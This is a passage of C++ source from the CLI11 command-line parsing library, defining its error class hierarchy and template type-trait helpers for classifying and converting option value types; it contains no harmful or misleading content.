@defgroup error_group Errors\n/// @brief Errors thrown by CLI11\n///\n/// These are the errors that can be thrown. Some of them, like CLI::Success, are not really errors.\n/// @{\n\n/// All errors derive from this one\nclass Error : public std::runtime_error {\n    int actual_exit_code;\n    std::string error_name{\"Error\"};\n\n  public:\n    CLI11_NODISCARD int get_exit_code() const { return actual_exit_code; }\n\n    CLI11_NODISCARD std::string get_name() const { return error_name; }\n\n    Error(std::string name, std::string msg, int exit_code = static_cast<int>(ExitCodes::BaseClass))\n        : runtime_error(msg), actual_exit_code(exit_code), error_name(std::move(name)) {}\n\n    Error(std::string name, std::string msg, ExitCodes exit_code) : Error(name, msg, static_cast<int>(exit_code)) {}\n};\n\n// Note: Using Error::Error constructors does not work on GCC 4.7\n\n/// Construction errors (not in parsing)\nclass ConstructionError : public Error {\n    CLI11_ERROR_DEF(Error, ConstructionError)\n};\n\n/// Thrown when an option is set to conflicting values (non-vector and multi args, for example)\nclass IncorrectConstruction : public ConstructionError {\n    CLI11_ERROR_DEF(ConstructionError, IncorrectConstruction)\n    CLI11_ERROR_SIMPLE(IncorrectConstruction)\n    static IncorrectConstruction PositionalFlag(std::string name) {\n        return IncorrectConstruction(name + \": Flags cannot be positional\");\n    }\n    static IncorrectConstruction Set0Opt(std::string name) {\n        return IncorrectConstruction(name + \": Cannot set 0 expected, use a flag instead\");\n    }\n    static IncorrectConstruction SetFlag(std::string name) {\n        return IncorrectConstruction(name + \": Cannot set an expected number for flags\");\n    }\n    static IncorrectConstruction ChangeNotVector(std::string name) {\n        return IncorrectConstruction(name + \": You can only change the expected arguments for vectors\");\n    }\n    static IncorrectConstruction AfterMultiOpt(std::string name) {\n        return IncorrectConstruction(\n            name + \": You can't change expected arguments after you've changed the multi option policy!\");\n    }\n    static IncorrectConstruction MissingOption(std::string name) {\n        return IncorrectConstruction(\"Option \" + name + \" is not defined\");\n    }\n    static IncorrectConstruction MultiOptionPolicy(std::string name) {\n        return IncorrectConstruction(name + \": multi_option_policy only works for flags and exact value options\");\n    }\n};\n\n/// Thrown on construction of a bad name\nclass BadNameString : public ConstructionError {\n    CLI11_ERROR_DEF(ConstructionError, BadNameString)\n    CLI11_ERROR_SIMPLE(BadNameString)\n    static BadNameString OneCharName(std::string name) { return BadNameString(\"Invalid one char name: \" + name); }\n    static BadNameString BadLongName(std::string name) { return BadNameString(\"Bad long name: \" + name); }\n    static BadNameString DashesOnly(std::string name) {\n        return BadNameString(\"Must have a name, not just dashes: \" + name);\n    }\n    static BadNameString MultiPositionalNames(std::string name) {\n        return BadNameString(\"Only one positional name allowed, remove: \" + name);\n    }\n};\n\n/// Thrown when an option already exists\nclass OptionAlreadyAdded : public ConstructionError {\n    CLI11_ERROR_DEF(ConstructionError, OptionAlreadyAdded)\n    explicit OptionAlreadyAdded(std::string name)\n        : OptionAlreadyAdded(name + \" is already added\", ExitCodes::OptionAlreadyAdded) {}\n    static OptionAlreadyAdded Requires(std::string name, std::string other) {\n        return {name + \" requires \" + other, ExitCodes::OptionAlreadyAdded};\n    }\n    static OptionAlreadyAdded Excludes(std::string name, std::string other) {\n        return {name + \" excludes \" + other, ExitCodes::OptionAlreadyAdded};\n    }\n};\n\n// Parsing errors\n\n/// Anything that can error in Parse\nclass ParseError : public Error {\n    CLI11_ERROR_DEF(Error, ParseError)\n};\n\n// Not really \"errors\"\n\n/// This is a successful completion on parsing, supposed to exit\nclass Success : public ParseError {\n    CLI11_ERROR_DEF(ParseError, Success)\n    Success() : Success(\"Successfully completed, should be caught and quit\", ExitCodes::Success) {}\n};\n\n/// -h or --help on command line\nclass CallForHelp : public Success {\n    CLI11_ERROR_DEF(Success, CallForHelp)\n    CallForHelp() : CallForHelp(\"This should be caught in your main function, see examples\", ExitCodes::Success) {}\n};\n\n/// Usually something like --help-all on command line\nclass CallForAllHelp : public Success {\n    CLI11_ERROR_DEF(Success, CallForAllHelp)\n    CallForAllHelp()\n        : CallForAllHelp(\"This should be caught in your main function, see examples\", ExitCodes::Success) {}\n};\n\n/// -v or --version on command line\nclass CallForVersion : public Success {\n    CLI11_ERROR_DEF(Success, CallForVersion)\n    CallForVersion()\n        : CallForVersion(\"This should be caught in your main function, see examples\", ExitCodes::Success) {}\n};\n\n/// Does not output a diagnostic in CLI11_PARSE, but allows main() to return with a specific error code.\nclass RuntimeError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, RuntimeError)\n    explicit RuntimeError(int exit_code = 1) : RuntimeError(\"Runtime error\", exit_code) {}\n};\n\n/// Thrown when parsing an INI file and it is missing\nclass FileError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, FileError)\n    CLI11_ERROR_SIMPLE(FileError)\n    static FileError Missing(std::string name) { return FileError(name + \" was not readable (missing?)\"); }\n};\n\n/// Thrown when conversion call back fails, such as when an int fails to coerce to a string\nclass ConversionError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ConversionError)\n    CLI11_ERROR_SIMPLE(ConversionError)\n    ConversionError(std::string member, std::string name)\n        : ConversionError(\"The value \" + member + \" is not an allowed value for \" + name) {}\n    ConversionError(std::string name, std::vector<std::string> results)\n        : ConversionError(\"Could not convert: \" + name + \" = \" + detail::join(results)) {}\n    static ConversionError TooManyInputsFlag(std::string name) {\n        return ConversionError(name + \": too many inputs for a flag\");\n    }\n    static ConversionError TrueFalse(std::string name) {\n        return ConversionError(name + \": Should be true/false or a number\");\n    }\n};\n\n/// Thrown when validation of results fails\nclass ValidationError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ValidationError)\n    CLI11_ERROR_SIMPLE(ValidationError)\n    explicit ValidationError(std::string name, std::string msg) : ValidationError(name + \": \" + msg) {}\n};\n\n/// Thrown when a required option is missing\nclass RequiredError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, RequiredError)\n    explicit RequiredError(std::string name) : RequiredError(name + \" is required\", ExitCodes::RequiredError) {}\n    static RequiredError Subcommand(std::size_t min_subcom) {\n        if(min_subcom == 1) {\n            return RequiredError(\"A subcommand\");\n        }\n        return {\"Requires at least \" + std::to_string(min_subcom) + \" subcommands\", ExitCodes::RequiredError};\n    }\n    static RequiredError\n    Option(std::size_t min_option, std::size_t max_option, std::size_t used, const std::string &option_list) {\n        if((min_option == 1) && (max_option == 1) && (used == 0))\n            return RequiredError(\"Exactly 1 option from [\" + option_list + \"]\");\n        if((min_option == 1) && (max_option == 1) && (used > 1)) {\n            return {\"Exactly 1 option from [\" + option_list + \"] is required and \" + std::to_string(used) +\n                        \" were given\",\n                    ExitCodes::RequiredError};\n        }\n        if((min_option == 1) && (used == 0))\n            return RequiredError(\"At least 1 option from [\" + option_list + \"]\");\n        if(used < min_option) {\n            return {\"Requires at least \" + std::to_string(min_option) + \" options used and only \" +\n                        std::to_string(used) + \"were given from [\" + option_list + \"]\",\n                    ExitCodes::RequiredError};\n        }\n        if(max_option == 1)\n            return {\"Requires at most 1 options be given from [\" + option_list + \"]\", ExitCodes::RequiredError};\n\n        return {\"Requires at most \" + std::to_string(max_option) + \" options be used and \" + std::to_string(used) +\n                    \"were given from [\" + option_list + \"]\",\n                ExitCodes::RequiredError};\n    }\n};\n\n/// Thrown when the wrong number of arguments has been received\nclass ArgumentMismatch : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ArgumentMismatch)\n    CLI11_ERROR_SIMPLE(ArgumentMismatch)\n    ArgumentMismatch(std::string name, int expected, std::size_t received)\n        : ArgumentMismatch(expected > 0 ? (\"Expected exactly \" + std::to_string(expected) + \" arguments to \" + name +\n                                           \", got \" + std::to_string(received))\n                                        : (\"Expected at least \" + std::to_string(-expected) + \" arguments to \" + name +\n                                           \", got \" + std::to_string(received)),\n                           ExitCodes::ArgumentMismatch) {}\n\n    static ArgumentMismatch AtLeast(std::string name, int num, std::size_t received) {\n        return ArgumentMismatch(name + \": At least \" + std::to_string(num) + \" required but received \" +\n                                std::to_string(received));\n    }\n    static ArgumentMismatch AtMost(std::string name, int num, std::size_t received) {\n        return ArgumentMismatch(name + \": At Most \" + std::to_string(num) + \" required but received \" +\n                                std::to_string(received));\n    }\n    static ArgumentMismatch TypedAtLeast(std::string name, int num, std::string type) {\n        return ArgumentMismatch(name + \": \" + std::to_string(num) + \" required \" + type + \" missing\");\n    }\n    static ArgumentMismatch FlagOverride(std::string name) {\n        return ArgumentMismatch(name + \" was given a disallowed flag override\");\n    }\n    static ArgumentMismatch PartialType(std::string name, int num, std::string type) {\n        return ArgumentMismatch(name + \": \" + type + \" only partially specified: \" + std::to_string(num) +\n                                \" required for each element\");\n    }\n};\n\n/// Thrown when a requires option is missing\nclass RequiresError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, RequiresError)\n    RequiresError(std::string curname, std::string subname)\n        : RequiresError(curname + \" requires \" + subname, ExitCodes::RequiresError) {}\n};\n\n/// Thrown when an excludes option is present\nclass ExcludesError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ExcludesError)\n    ExcludesError(std::string curname, std::string subname)\n        : ExcludesError(curname + \" excludes \" + subname, ExitCodes::ExcludesError) {}\n};\n\n/// Thrown when too many positionals or options are found\nclass ExtrasError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ExtrasError)\n    explicit ExtrasError(std::vector<std::string> args)\n        : ExtrasError((args.size() > 1 ? \"The following arguments were not expected: \"\n                                       : \"The following argument was not expected: \") +\n                          detail::rjoin(args, \" \"),\n                      ExitCodes::ExtrasError) {}\n    ExtrasError(const std::string &name, std::vector<std::string> args)\n        : ExtrasError(name,\n                      (args.size() > 1 ? \"The following arguments were not expected: \"\n                                       : \"The following argument was not expected: \") +\n                          detail::rjoin(args, \" \"),\n                      ExitCodes::ExtrasError) {}\n};\n\n/// Thrown when extra values are found in an INI file\nclass ConfigError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, ConfigError)\n    CLI11_ERROR_SIMPLE(ConfigError)\n    static ConfigError Extras(std::string item) { return ConfigError(\"INI was not able to parse \" + item); }\n    static ConfigError NotConfigurable(std::string item) {\n        return ConfigError(item + \": This option is not allowed in a configuration file\");\n    }\n};\n\n/// Thrown when validation fails before parsing\nclass InvalidError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, InvalidError)\n    explicit InvalidError(std::string name)\n        : InvalidError(name + \": Too many positional arguments with unlimited expected args\", ExitCodes::InvalidError) {\n    }\n};\n\n/// This is just a safety check to verify selection and parsing match - you should not ever see it\n/// Strings are directly added to this error, but again, it should never be seen.\nclass HorribleError : public ParseError {\n    CLI11_ERROR_DEF(ParseError, HorribleError)\n    CLI11_ERROR_SIMPLE(HorribleError)\n};\n\n// After parsing\n\n/// Thrown when counting a non-existent option\nclass OptionNotFound : public Error {\n    CLI11_ERROR_DEF(Error, OptionNotFound)\n    explicit OptionNotFound(std::string name) : OptionNotFound(name + \" not found\", ExitCodes::OptionNotFound) {}\n};\n\n#undef CLI11_ERROR_DEF\n#undef CLI11_ERROR_SIMPLE\n\n/// @}\n\n\n\n\n// Type tools\n\n// Utilities for type enabling\nnamespace detail {\n// Based generally on https://rmf.io/cxx11/almost-static-if\n/// Simple empty scoped class\nenum class enabler {};\n\n/// An instance to use in EnableIf\nconstexpr enabler dummy = {};\n}  // namespace detail\n\n/// A copy of enable_if_t from C++14, compatible with C++11.\n///\n/// We could check to see if C++14 is being used, but it does not hurt to redefine this\n/// (even Google does this: https://github.com/google/skia/blob/main/include/private/SkTLogic.h)\n/// It is not in the std namespace anyway, so no harm done.\ntemplate <bool B, class T = void> using enable_if_t = typename std::enable_if<B, T>::type;\n\n/// A copy of std::void_t from C++17 (helper for C++11 and C++14)\ntemplate <typename... Ts> struct make_void {\n    using type = void;\n};\n\n/// A copy of std::void_t from C++17 - same reasoning as enable_if_t, it does not hurt to redefine\ntemplate <typename... Ts> using void_t = typename make_void<Ts...>::type;\n\n/// A copy of std::conditional_t from C++14 - same reasoning as enable_if_t, it does not hurt to redefine\ntemplate <bool B, class T, class F> using conditional_t = typename std::conditional<B, T, F>::type;\n\n/// Check to see if something is bool (fail check by default)\ntemplate <typename T> struct is_bool : std::false_type {};\n\n/// Check to see if something is bool (true if actually a bool)\ntemplate <> struct is_bool<bool> : std::true_type {};\n\n/// Check to see if something is a shared pointer\ntemplate <typename T> struct is_shared_ptr : std::false_type {};\n\n/// Check to see if something is a shared pointer (True if really a shared pointer)\ntemplate <typename T> struct is_shared_ptr<std::shared_ptr<T>> : std::true_type {};\n\n/// Check to see if something is a shared pointer (True if really a shared pointer)\ntemplate <typename T> struct is_shared_ptr<const std::shared_ptr<T>> : std::true_type {};\n\n/// Check to see if something is copyable pointer\ntemplate <typename T> struct is_copyable_ptr {\n    static bool const value = is_shared_ptr<T>::value || std::is_pointer<T>::value;\n};\n\n/// This can be specialized to override the type deduction for IsMember.\ntemplate <typename T> struct IsMemberType {\n    using type = T;\n};\n\n/// The main custom type needed here is const char * should be a string.\ntemplate <> struct IsMemberType<const char *> {\n    using type = std::string;\n};\n\nnamespace detail {\n\n// These are utilities for IsMember and other transforming objects\n\n/// Handy helper to access the element_type generically. This is not part of is_copyable_ptr because it requires that\n/// pointer_traits<T> be valid.\n\n/// not a pointer\ntemplate <typename T, typename Enable = void> struct element_type {\n    using type = T;\n};\n\ntemplate <typename T> struct element_type<T, typename std::enable_if<is_copyable_ptr<T>::value>::type> {\n    using type = typename std::pointer_traits<T>::element_type;\n};\n\n/// Combination of the element type and value type - remove pointer (including smart pointers) and get the value_type of\n/// the container\ntemplate <typename T> struct element_value_type {\n    using type = typename element_type<T>::type::value_type;\n};\n\n/// Adaptor for set-like structure: This just wraps a normal container in a few utilities that do almost nothing.\ntemplate <typename T, typename _ = void> struct pair_adaptor : std::false_type {\n    using value_type = typename T::value_type;\n    using first_type = typename std::remove_const<value_type>::type;\n    using second_type = typename std::remove_const<value_type>::type;\n\n    /// Get the first value (really just the underlying value)\n    template <typename Q> static auto first(Q &&pair_value) -> decltype(std::forward<Q>(pair_value)) {\n        return std::forward<Q>(pair_value);\n    }\n    /// Get the second value (really just the underlying value)\n    template <typename Q> static auto second(Q &&pair_value) -> decltype(std::forward<Q>(pair_value)) {\n        return std::forward<Q>(pair_value);\n    }\n};\n\n/// Adaptor for map-like structure (true version, must have key_type and mapped_type).\n/// This wraps a mapped container in a few utilities access it in a general way.\ntemplate <typename T>\nstruct pair_adaptor<\n    T,\n    conditional_t<false, void_t<typename T::value_type::first_type, typename T::value_type::second_type>, void>>\n    : std::true_type {\n    using value_type = typename T::value_type;\n    using first_type = typename std::remove_const<typename value_type::first_type>::type;\n    using second_type = typename std::remove_const<typename value_type::second_type>::type;\n\n    /// Get the first value (really just the underlying value)\n    template <typename Q> static auto first(Q &&pair_value) -> decltype(std::get<0>(std::forward<Q>(pair_value))) {\n        return std::get<0>(std::forward<Q>(pair_value));\n    }\n    /// Get the second value (really just the underlying value)\n    template <typename Q> static auto second(Q &&pair_value) -> decltype(std::get<1>(std::forward<Q>(pair_value))) {\n        return std::get<1>(std::forward<Q>(pair_value));\n    }\n};\n\n// Warning is suppressed due to \"bug\" in gcc<5.0 and gcc 7.0 with c++17 enabled that generates a Wnarrowing warning\n// in the unevaluated context even if the function that was using this wasn't used.  The standard says narrowing in\n// brace initialization shouldn't be allowed but for backwards compatibility gcc allows it in some contexts.  It is a\n// little fuzzy what happens in template constructs and I think that was something GCC took a little while to work out.\n// But regardless some versions of gcc generate a warning when they shouldn't from the following code so that should be\n// suppressed\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wnarrowing\"\n#endif\n// check for constructibility from a specific type and copy assignable used in the parse detection\ntemplate <typename T, typename C> class is_direct_constructible {\n    template <typename TT, typename CC>\n    static auto test(int, std::true_type) -> decltype(\n// NVCC warns about narrowing conversions here\n#ifdef __CUDACC__\n#pragma diag_suppress 2361\n#endif\n        TT{std::declval<CC>()}\n#ifdef __CUDACC__\n#pragma diag_default 2361\n#endif\n        ,\n        std::is_move_assignable<TT>());\n\n    template <typename TT, typename CC> static auto test(int, std::false_type) -> std::false_type;\n\n    template <typename, typename> static auto test(...) -> std::false_type;\n\n  public:\n    static constexpr bool value = decltype(test<T, C>(0, typename std::is_constructible<T, C>::type()))::value;\n};\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n\n// Check for output streamability\n// Based on https://stackoverflow.com/questions/22758291/how-can-i-detect-if-a-type-can-be-streamed-to-an-stdostream\n\ntemplate <typename T, typename S = std::ostringstream> class is_ostreamable {\n    template <typename TT, typename SS>\n    static auto test(int) -> decltype(std::declval<SS &>() << std::declval<TT>(), std::true_type());\n\n    template <typename, typename> static auto test(...) -> std::false_type;\n\n  public:\n    static constexpr bool value = decltype(test<T, S>(0))::value;\n};\n\n/// Check for input streamability\ntemplate <typename T, typename S = std::istringstream> class is_istreamable {\n    template <typename TT, typename SS>\n    static auto test(int) -> decltype(std::declval<SS &>() >> std::declval<TT &>(), std::true_type());\n\n    template <typename, typename> static auto test(...) -> std::false_type;\n\n  public:\n    static constexpr bool value = decltype(test<T, S>(0))::value;\n};\n\n/// Check for complex\ntemplate <typename T> class is_complex {\n    template <typename TT>\n    static auto test(int) -> decltype(std::declval<TT>().real(), std::declval<TT>().imag(), std::true_type());\n\n    template <typename> static auto test(...) -> std::false_type;\n\n  public:\n    static constexpr bool value = decltype(test<T>(0))::value;\n};\n\n/// Templated operation to get a value from a stream\ntemplate <typename T, enable_if_t<is_istreamable<T>::value, detail::enabler> = detail::dummy>\nbool from_stream(const std::string &istring, T &obj) {\n    std::istringstream is;\n    is.str(istring);\n    is >> obj;\n    return !is.fail() && !is.rdbuf()->in_avail();\n}\n\ntemplate <typename T, enable_if_t<!is_istreamable<T>::value, detail::enabler> = detail::dummy>\nbool from_stream(const std::string & /*istring*/, T & /*obj*/) {\n    return false;\n}\n\n// check to see if an object is a mutable container (fail by default)\ntemplate <typename T, typename _ = void> struct is_mutable_container : std::false_type {};\n\n/// type trait to test if a type is a mutable container meaning it has a value_type, it has an iterator, a clear, and\n/// end methods and an insert function.  And for our purposes we exclude std::string and types that can be constructed\n/// from a std::string\ntemplate <typename T>\nstruct is_mutable_container<\n    T,\n    conditional_t<false,\n                  void_t<typename T::value_type,\n                         decltype(std::declval<T>().end()),\n                         decltype(std::declval<T>().clear()),\n                         decltype(std::declval<T>().insert(std::declval<decltype(std::declval<T>().end())>(),\n                                                           std::declval<const typename T::value_type &>()))>,\n                  void>>\n    : public conditional_t<std::is_constructible<T, std::string>::value, std::false_type, std::true_type> {};\n\n// check to see if an object is a mutable container (fail by default)\ntemplate <typename T, typename _ = void> struct is_readable_container : std::false_type {};\n\n/// type trait to test if a type is a container meaning it has a value_type, it has an iterator, a clear, and an end\n/// methods and an insert function.  And for our purposes we exclude std::string and types that can be constructed from\n/// a std::string\ntemplate <typename T>\nstruct is_readable_container<\n    T,\n    conditional_t<false, void_t<decltype(std::declval<T>().end()), decltype(std::declval<T>().begin())>, void>>\n    : public std::true_type {};\n\n// check to see if an object is a wrapper (fail by default)\ntemplate <typename T, typename _ = void> struct is_wrapper : std::false_type {};\n\n// check if an object is a wrapper (it has a value_type defined)\ntemplate <typename T>\nstruct is_wrapper<T, conditional_t<false, void_t<typename T::value_type>, void>> : public std::true_type {};\n\n// Check for tuple like types, as in classes with a tuple_size type trait\ntemplate <typename S> class is_tuple_like {\n    template <typename SS>\n    // static auto test(int)\n    //     -> decltype(std::conditional<(std::tuple_size<SS>::value > 0), std::true_type, std::false_type>::type());\n    static auto test(int) -> decltype(std::tuple_size<typename std::decay<SS>::type>::value, std::true_type{});\n    template <typename> static auto test(...) -> std::false_type;\n\n  public:\n    static constexpr bool value = decltype(test<S>(0))::value;\n};\n\n/// Convert an object to a string (directly forward if this can become a string)\ntemplate <typename T, enable_if_t<std::is_convertible<T, std::string>::value, detail::enabler> = detail::dummy>\nauto to_string(T &&value) -> decltype(std::forward<T>(value)) {\n    return std::forward<T>(value);\n}\n\n/// Construct a string from the object\ntemplate <typename T,\n          enable_if_t<std::is_constructible<std::string, T>::value && !std::is_convertible<T, std::string>::value,\n                      detail::enabler> = detail::dummy>\nstd::string to_string(const T &value) {\n    return std::string(value);  // NOLINT(google-readability-casting)\n}\n\n/// Convert an object to a string (streaming must be supported for that type)\ntemplate <typename T,\n          enable_if_t<!std::is_convertible<std::string, T>::value && !std::is_constructible<std::string, T>::value &&\n                          is_ostreamable<T>::value,\n                      detail::enabler> = detail::dummy>\nstd::string to_string(T &&value) {\n    std::stringstream stream;\n    stream << value;\n    return stream.str();\n}\n\n/// If conversion is not supported, return an empty string (streaming is not supported for that type)\ntemplate <typename T,\n          enable_if_t<!std::is_constructible<std::string, T>::value && !is_ostreamable<T>::value &&\n                          !is_readable_container<typename std::remove_const<T>::type>::value,\n                      detail::enabler> = detail::dummy>\nstd::string to_string(T &&) {\n    return {};\n}\n\n/// convert a readable container to a string\ntemplate <typename T,\n          enable_if_t<!std::is_constructible<std::string, T>::value && !is_ostreamable<T>::value &&\n                          is_readable_container<T>::value,\n                      detail::enabler> = detail::dummy>\nstd::string to_string(T &&variable) {\n    auto cval = variable.begin();\n    auto end = variable.end();\n    if(cval == end) {\n        return {\"{}\"};\n    }\n    std::vector<std::string> defaults;\n    while(cval != end) {\n        defaults.emplace_back(CLI::detail::to_string(*cval));\n        ++cval;\n    }\n    return {\"[\" + detail::join(defaults) + \"]\"};\n}\n\n/// special template overload\ntemplate <typename T1,\n          typename T2,\n          typename T,\n          enable_if_t<std::is_same<T1, T2>::value, detail::enabler> = detail::dummy>\nauto checked_to_string(T &&value) -> decltype(to_string(std::forward<T>(value))) {\n    return to_string(std::forward<T>(value));\n}\n\n/// special template overload\ntemplate <typename T1,\n          typename T2,\n          typename T,\n          enable_if_t<!std::is_same<T1, T2>::value, detail::enabler> = detail::dummy>\nstd::string checked_to_string(T &&) {\n    return std::string{};\n}\n/// get a string as a convertible value for arithmetic types\ntemplate <typename T, enable_if_t<std::is_arithmetic<T>::value, detail::enabler> = detail::dummy>\nstd::string value_string(const T &value) {\n    return std::to_string(value);\n}\n/// get a string as a convertible value for enumerations\ntemplate <typename T, enable_if_t<std::is_enum<T>::value, detail::enabler> = detail::dummy>\nstd::string value_string(const T &value) {\n    return std::to_string(static_cast<typename std::underlying_type<T>::type>(value));\n}\n/// for other types just use the regular to_string function\ntemplate <typename T,\n          enable_if_t<!std::is_enum<T>::value && !std::is_arithmetic<T>::value, detail::enabler> = detail::dummy>\nauto value_string(const T &value) -> decltype(to_string(value)) {\n    return to_string(value);\n}\n\n/// template to get the underlying value type if it exists or use a default\ntemplate <typename T, typename def, typename Enable = void> struct wrapped_type {\n    using type = def;\n};\n\n/// Type size for regular object types that do not look like a tuple\ntemplate <typename T, typename def> struct wrapped_type<T, def, typename std::enable_if<is_wrapper<T>::value>::type> {\n    using type = typename T::value_type;\n};\n\n/// This will only trigger for actual void type\ntemplate <typename T, typename Enable = void> struct type_count_base {\n    static const int value{0};\n};\n\n/// Type size for regular object types that do not look like a tuple\ntemplate <typename T>\nstruct type_count_base<T,\n                       typename std::enable_if<!is_tuple_like<T>::value && !is_mutable_container<T>::value &&\n                                               !std::is_void<T>::value>::type> {\n    static constexpr int value{1};\n};\n\n/// the base tuple size\ntemplate <typename T>\nstruct type_count_base<T, typename std::enable_if<is_tuple_like<T>::value && !is_mutable_container<T>::value>::type> {\n    static constexpr int value{std::tuple_size<T>::value};\n};\n\n/// Type count base for containers is the type_count_base of the individual element\ntemplate <typename T> struct type_count_base<T, typename std::enable_if<is_mutable_container<T>::value>::type> {\n    static constexpr int value{type_count_base<typename T::value_type>::value};\n};\n\n/// Set of overloads to get the type size of an object\n\n/// forward declare the subtype_count structure\ntemplate <typename T> struct subtype_count;\n\n/// forward declare the subtype_count_min structure\ntemplate <typename T> struct subtype_count_min;\n\n/// This will only trigger for actual void type\ntemplate <typename T, typename Enable = void> struct type_count {\n    static const int value{0};\n};\n\n/// Type size for regular object types that do not look like a tuple\ntemplate <typename T>\nstruct type_count<T,\n                  typename std::enable_if<!is_wrapper<T>::value && !is_tuple_like<T>::value && !is_complex<T>::value &&\n                                          !std::is_void<T>::value>::type> {\n    static constexpr int value{1};\n};\n\n/// Type size for complex since it sometimes looks like a wrapper\ntemplate <typename T> struct type_count<T, typename std::enable_if<is_complex<T>::value>::type> {\n    static constexpr int value{2};\n};\n\n/// Type size of types that are wrappers,except complex and tuples(which can also be wrappers sometimes)\ntemplate <typename T> struct type_count<T, typename std::enable_if<is_mutable_container<T>::value>::type> {\n    static constexpr int value{subtype_count<typename T::value_type>::value};\n};\n\n/// Type size of types that are wrappers,except containers complex and tuples(which can also be wrappers sometimes)\ntemplate <typename T>\nstruct type_count<T,\n                  typename std::enable_if<is_wrapper<T>::value && !is_complex<T>::value && !is_tuple_like<T>::value &&\n                                          !is_mutable_container<T>::value>::type> {\n    static constexpr int value{type_count<typename T::value_type>::value};\n};\n\n/// 0 if the index > tuple size\ntemplate <typename T, std::size_t I>\nconstexpr typename std::enable_if<I == type_count_base<T>::value, int>::type tuple_type_size() {\n    return 0;\n}\n\n/// Recursively generate the tuple type name\ntemplate <typename T, std::size_t I>\n    constexpr typename std::enable_if < I<type_count_base<T>::value, int>::type tuple_type_size() {\n    return subtype_count<typename std::tuple_element<I, T>::type>::value + tuple_type_size<T, I + 1>();\n}\n\n/// Get the type size of the sum of type sizes for all the individual tuple types\ntemplate <typename T> struct type_count<T, typename std::enable_if<is_tuple_like<T>::value>::type> {\n    static constexpr int value{tuple_type_size<T, 0>()};\n};\n\n/// definition of subtype count\ntemplate <typename T> struct subtype_count {\n    static constexpr int value{is_mutable_container<T>::value ? expected_max_vector_size : type_count<T>::value};\n};\n\n/// This will only trigger for actual void type\ntemplate <typename T, typename Enable = void> struct type_count_min {\n    static const int value{0};\n};\n\n/// Type size for regular object types that do not look like a tuple\ntemplate <typename T>\nstruct type_count_min<\n    T,\n    typename std::enable_if<!is_mutable_container<T>::value && !is_tuple_like<T>::value && !is_wrapper<T>::value &&\n                            !is_complex<T>::value && !std::is_void<T>::value>::type> {\n    static constexpr int value{type_count<T>::value};\n};\n\n/// Type size for complex since it sometimes looks like a wrapper\ntemplate <typename T> struct type_count_min<T, typename std::enable_if<is_complex<T>::value>::type> {\n    static constexpr int value{1};\n};\n\n/// Type size min of types that are wrappers,except complex and tuples(which can also be wrappers sometimes)\ntemplate <typename T>\nstruct type_count_min<\n    T,\n    typename std::enable_if<is_wrapper<T>::value && !is_complex<T>::value && !is_tuple_like<T>::value>::type> {\n    static constexpr int value{subtype_count_min<typename T::value_type>::value};\n};\n\n/// 0 if the index > tuple size\ntemplate <typename T, std::size_t I>\nconstexpr typename std::enable_if<I == type_count_base<T>::value, int>::type tuple_type_size_min() {\n    return 0;\n}\n\n/// Recursively generate the tuple type name\ntemplate <typename T, std::size_t I>\n    constexpr typename std::enable_if < I<type_count_base<T>::value, int>::type tuple_type_size_min() {\n    return subtype_count_min<typename std::tuple_element<I, T>::type>::value + tuple_type_size_min<T, I + 1>();\n}\n\n/// Get the type size of the sum of type sizes for all the individual tuple types\ntemplate <typename T> struct type_count_min<T, typename std::enable_if<is_tuple_like<T>::value>::type> {\n    static constexpr int value{tuple_type_size_min<T, 0>()};\n};\n\n/// definition of subtype count\ntemplate <typename T> struct subtype_count_min {\n    static constexpr int value{is_mutable_container<T>::value\n                                   ? ((type_count<T>::value < expected_max_vector_size) ? type_count<T>::value : 0)\n                                   : type_count_min<T>::value};\n};\n\n/// This will only trigger for actual void type\ntemplate <typename T, typename Enable = void> struct expected_count {\n    static const int value{0};\n};\n\n/// For most types the number of expected items is 1\ntemplate <typename T>\nstruct expected_count<T,\n                      typename std::enable_if<!is_mutable_container<T>::value && !is_wrapper<T>::value &&\n                                              !std::is_void<T>::value>::type> {\n    static constexpr int value{1};\n};\n/// number of expected items in a vector\ntemplate <typename T> struct expected_count<T, typename std::enable_if<is_mutable_container<T>::value>::type> {\n    static constexpr int value{expected_max_vector_size};\n};\n\n/// number of expected items in a vector\ntemplate <typename T>\nstruct expected_count<T, typename std::enable_if<!is_mutable_container<T>::value && is_wrapper<T>::value>::type> {\n    static constexpr int value{expected_count<typename T::value_type>::value};\n};\n\n// Enumeration of the different supported categorizations of objects\nenum class object_category : int {\n    char_value = 1,\n    integral_value = 2,\n    unsigned_integral = 4,\n    enumeration = 6,\n    boolean_value = 8,\n    floating_point = 10,\n    number_constructible = 12,\n    double_constructible = 14,\n    integer_constructible = 16,\n    // string like types\n    string_assignable = 23,\n    string_constructible = 24,\n    other = 45,\n    // special wrapper or container types\n    wrapper_value = 50,\n    complex_number = 60,\n    tuple_value = 70,\n    container_value = 80,\n\n};\n\n/// Set of overloads to classify an object according to type\n\n/// some type that is not otherwise recognized\ntemplate <typename T, typename Enable = void> struct classify_object {\n    static constexpr object_category value{object_category::other};\n};\n\n/// Signed integers\ntemplate <typename T>\nstruct classify_object<\n    T,\n    typename std::enable_if<std::is_integral<T>::value && !std::is_same<T, char>::value && std::is_signed<T>::value &&\n                            !is_bool<T>::value && !std::is_enum<T>::value>::type> {\n    static constexpr object_category value{object_category::integral_value};\n};\n\n/// Unsigned integers\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<std::is_integral<T>::value && std::is_unsigned<T>::value &&\n                                               !std::is_same<T, char>::value && !is_bool<T>::value>::type> {\n    static constexpr object_category value{object_category::unsigned_integral};\n};\n\n/// single character values\ntemplate <typename T>\nstruct classify_object<T, typename std::enable_if<std::is_same<T, char>::value && !std::is_enum<T>::value>::type> {\n    static constexpr object_category value{object_category::char_value};\n};\n\n/// Boolean values\ntemplate <typename T> struct classify_object<T, typename std::enable_if<is_bool<T>::value>::type> {\n    static constexpr object_category 